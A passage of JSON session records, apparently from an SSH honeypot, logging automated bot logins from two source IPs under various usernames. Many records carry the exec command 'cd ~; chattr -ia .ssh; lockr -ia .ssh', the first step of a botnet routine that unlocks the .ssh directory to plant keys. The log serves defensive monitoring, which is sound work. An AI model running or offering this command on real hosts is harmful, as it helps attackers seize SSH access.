  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3b6845da-1b7f-4cac-80d6-3d42d876429b",
  "name": "eager-feral-muntjac",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 47172,
  "username": "sage",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:52:01.596278+00:00",
  "ended_at": "2026-08-26T22:56:01.760004+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "edd0c314-fcb9-447c-b79a-3656dc46905b",
  "name": "fabled-murky-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 57498,
  "username": "admin123",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:51:58.922845+00:00",
  "ended_at": "2026-08-26T22:52:00.471746+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2263
 },
 {
  "id": "803b5d5d-e6a2-45d7-809b-7c1bba24b524",
  "name": "orderly-wandering-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 57520,
  "username": "admin123",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:51:37.864023+00:00",
  "ended_at": "2026-08-26T22:51:39.560583+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6d746766-a0f4-4c3c-aaee-93c9e2f7119c",
  "name": "jagged-peaty-pipit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 57508,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:51:37.013092+00:00",
  "ended_at": "2026-08-26T22:51:37.728005+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f9e62d41-1d36-4fdd-af5c-5dddd67fcffc",
  "name": "coastal-frosty-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 47664,
  "username": "mahendra",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:50:04.919657+00:00",
  "ended_at": "2026-08-26T22:50:07.051229+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "aa26d420-074e-4f23-845d-5141cb6461d6",
  "name": "lucid-blithe-bison",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 36288,
  "username": "mahendra",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:49:42.742904+00:00",
  "ended_at": "2026-08-26T22:49:44.643674+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "778b4617-3d7f-4743-9090-7e20433e9a41",
  "name": "rambling-solemn-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 47674,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:49:41.462552+00:00",
  "ended_at": "2026-08-26T22:49:42.608897+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "22fe2092-f0d9-4d16-894b-ecbb034222d0",
  "name": "velvet-burly-oriole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 59282,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:48:14.443094+00:00",
  "ended_at": "2026-08-26T22:48:15.808304+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "b81bebce-2bf2-4f8a-87ee-4bea18d348f2",
  "name": "faded-seaward-cicada",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 59296,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:47:51.426328+00:00",
  "ended_at": "2026-08-26T22:47:52.333963+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2729d718-b3c2-48c1-8cd6-65f7dc07f1a3",
  "name": "ivory-burly-falcon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 59288,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:47:50.573432+00:00",
  "ended_at": "2026-08-26T22:47:51.292065+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "414307d0-dd10-440b-9f46-4fa975f862e3",
  "name": "orderly-thawing-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 47676,
  "username": "test_user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:46:19.827969+00:00",
  "ended_at": "2026-08-26T22:46:20.812519+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2270
 },
 {
  "id": "8f2d717d-880f-4fb7-b877-69872412ec80",
  "name": "quiet-alpine-ferret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 44260,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:46:03.501006+00:00",
  "ended_at": "2026-08-26T22:47:02.153303+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "be3d6bf1-3484-4162-ace7-90faf32d5c4d",
  "name": "restless-icy-puffin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 47680,
  "username": "test_user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:45:58.193484+00:00",
  "ended_at": "2026-08-26T22:45:59.216553+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "34a93bbb-f0b9-4df8-9510-32d7dfdc5a75",
  "name": "plush-tranquil-lynx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 47678,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:45:56.226393+00:00",
  "ended_at": "2026-08-26T22:45:58.065071+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ec09ed94-afa2-4205-acf3-95495791b286",
  "name": "ginger-blazing-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 33740,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:45:45.072248+00:00",
  "ended_at": "2026-08-26T22:49:45.637392+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d52ebf8a-fda9-4565-9359-5d037052d946",
  "name": "mindful-pewter-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 60222,
  "username": "rolando",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:44:24.890570+00:00",
  "ended_at": "2026-08-26T22:44:26.728059+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "693c08c7-f8c1-4c8a-a123-dfe2381df4f8",
  "name": "steady-rambling-petrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 49336,
  "username": "rolando",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:44:04.093837+00:00",
  "ended_at": "2026-08-26T22:44:05.117946+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9401bee1-f176-449c-a021-ec92b52f0ab9",
  "name": "mindful-creaky-dingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 60226,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:44:02.086077+00:00",
  "ended_at": "2026-08-26T22:44:03.959062+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0570332a-1fd4-4a47-ada3-ec6409b397ff",
  "name": "cunning-graceful-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 46574,
  "username": "chenl",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:42:33.369511+00:00",
  "ended_at": "2026-08-26T22:42:35.381203+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "8ccd1c45-0040-4f47-9d2c-43edf8b453bc",
  "name": "gilded-lofty-starling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 36748,
  "username": "linuxadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:42:28.563121+00:00",
  "ended_at": "2026-08-26T22:46:29.081607+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dfbbc45c-59ca-46c8-9de3-160198f629bd",
  "name": "misty-crystal-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 46590,
  "username": "chenl",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:42:11.263658+00:00",
  "ended_at": "2026-08-26T22:42:12.625629+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "da35501d-2f13-4cd0-80ff-4cc4cc23fa90",
  "name": "brave-hazy-narwhal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 46582,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:42:09.528952+00:00",
  "ended_at": "2026-08-26T22:42:11.127472+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4e719400-061f-4e49-adcd-cf9a46eb27dc",
  "name": "candid-diligent-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 41206,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:40:30.789721+00:00",
  "ended_at": "2026-08-26T22:40:31.645165+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "37d8b013-4336-491b-874f-487d26d24c2d",
  "name": "sooty-thorny-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 57352,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:40:12.145325+00:00",
  "ended_at": "2026-08-26T22:40:12.963830+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2a803137-bfbd-40ba-95d4-4d970b922167",
  "name": "rustic-shifting-avocet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 41214,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:40:11.010075+00:00",
  "ended_at": "2026-08-26T22:40:12.007236+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8e0602a6-803d-4475-a86b-78953a99927b",
  "name": "dusky-breezy-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 49254,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:38:28.814053+00:00",
  "ended_at": "2026-08-26T22:38:29.858603+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "d6017f99-78b6-4f5c-9aca-cefc960d0b15",
  "name": "seaward-peaty-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 49264,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:38:07.958054+00:00",
  "ended_at": "2026-08-26T22:38:09.128246+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e8645a3d-7547-4a5f-ad76-1468b923d8d3",
  "name": "gnarled-boreal-puffin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 49256,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:38:06.995386+00:00",
  "ended_at": "2026-08-26T22:38:07.823245+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "234121c6-c9e6-48f3-b120-fc8473397bec",
  "name": "prairie-thawing-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 50274,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:36:31.926723+00:00",
  "ended_at": "2026-08-26T22:36:33.135610+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "30ceb815-0a7e-491d-afa9-37bb9f611f70",
  "name": "jaunty-craggy-plover",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 50286,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:36:08.526655+00:00",
  "ended_at": "2026-08-26T22:36:10.024406+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ee807350-9e0d-42b9-95ce-0a9f43ae71de",
  "name": "gleaming-wistful-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 50276,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:36:07.274196+00:00",
  "ended_at": "2026-08-26T22:36:08.363494+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8821cc7f-cb2b-4c0b-8112-dc93ca0c24ad",
  "name": "blithe-honest-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 49446,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:34:33.498009+00:00",
  "ended_at": "2026-08-26T22:34:34.540507+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "737e8bbc-6134-4f69-8545-2bc36f4fbc66",
  "name": "autumn-dutiful-brambling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 49452,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:34:11.954735+00:00",
  "ended_at": "2026-08-26T22:34:13.582050+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dca0bd54-b0d5-4215-88aa-23d219833107",
  "name": "flinty-glacial-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 49450,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:34:10.138471+00:00",
  "ended_at": "2026-08-26T22:34:11.817272+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1692f1af-01e7-4f3e-b430-7493593d25ab",
  "name": "feathered-jovial-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 40390,
  "username": "guest",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:33:35.253924+00:00",
  "ended_at": "2026-08-26T22:34:33.200444+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7fbf6f66-8f80-4582-a9cc-2fb9f272cd3a",
  "name": "wandering-faded-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 44980,
  "username": "guest",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:33:02.376880+00:00",
  "ended_at": "2026-08-26T22:37:02.975954+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8889b794-3420-499b-ba77-e0fca6219a78",
  "name": "bitter-vernal-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 51584,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:32:36.517304+00:00",
  "ended_at": "2026-08-26T22:32:37.388096+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "ff6df460-6b00-43cd-80b0-768dd221279d",
  "name": "creaky-placid-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 51600,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:32:13.659769+00:00",
  "ended_at": "2026-08-26T22:32:14.851391+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1c3e8e8f-0dda-405e-867c-7fdeb795f28d",
  "name": "rugged-wry-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 51590,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:32:12.874182+00:00",
  "ended_at": "2026-08-26T22:32:13.524767+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "712ad059-f7ef-4421-9f20-094279b3228f",
  "name": "fringed-snowy-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 44534,
  "username": "mcserver",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 67,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:30:30.060127+00:00",
  "ended_at": "2026-08-26T22:30:32.225340+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2259
 },
 {
  "id": "6d701ac8-41b8-4f03-8409-d8f363b73762",
  "name": "thawing-patient-jay",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 44542,
  "username": "mcserver",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:30:17.814186+00:00",
  "ended_at": "2026-08-26T22:30:19.065860+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3ea484d8-2f09-4134-b165-7ef7666770d1",
  "name": "graceful-indigo-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 44538,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:30:17.057220+00:00",
  "ended_at": "2026-08-26T22:30:17.680418+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f13ddc6a-8276-4281-b3e3-e91d11f18595",
  "name": "fringed-canny-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 48524,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:28:36.867877+00:00",
  "ended_at": "2026-08-26T22:28:38.389448+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "6fdf6892-d37a-4dc0-8697-f1d20d1154d8",
  "name": "mindful-hollow-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 48536,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:28:25.540296+00:00",
  "ended_at": "2026-08-26T22:28:26.380172+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fce72664-db03-4154-8f87-3d72fba67325",
  "name": "shaded-murky-opossum",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 48526,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:28:23.823796+00:00",
  "ended_at": "2026-08-26T22:28:25.395332+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7aa65e49-1024-4c9f-97af-154317883f7e",
  "name": "sooty-pewter-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 49162,
  "username": "minecraft",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 68,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:26:36.605992+00:00",
  "ended_at": "2026-08-26T22:26:38.807153+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2260
 },
 {
  "id": "4d022d5d-c896-481e-b614-2d44471a193e",
  "name": "nautical-sturdy-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 49188,
  "username": "minecraft",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:26:25.347591+00:00",
  "ended_at": "2026-08-26T22:26:26.880719+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1b29f410-df74-427d-99a0-7490fa4279fd",
  "name": "verdant-quartz-pheasant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 49178,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:26:23.590259+00:00",
  "ended_at": "2026-08-26T22:26:25.206965+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "90ed254b-24e9-408c-b88b-de592baf747f",
  "name": "crystal-hearty-crane",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 46342,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:24:55.820855+00:00",
  "ended_at": "2026-08-26T22:28:56.000023+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3bdfa553-0792-4bb2-8f21-8f3acd304c18",
  "name": "grumpy-jolly-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
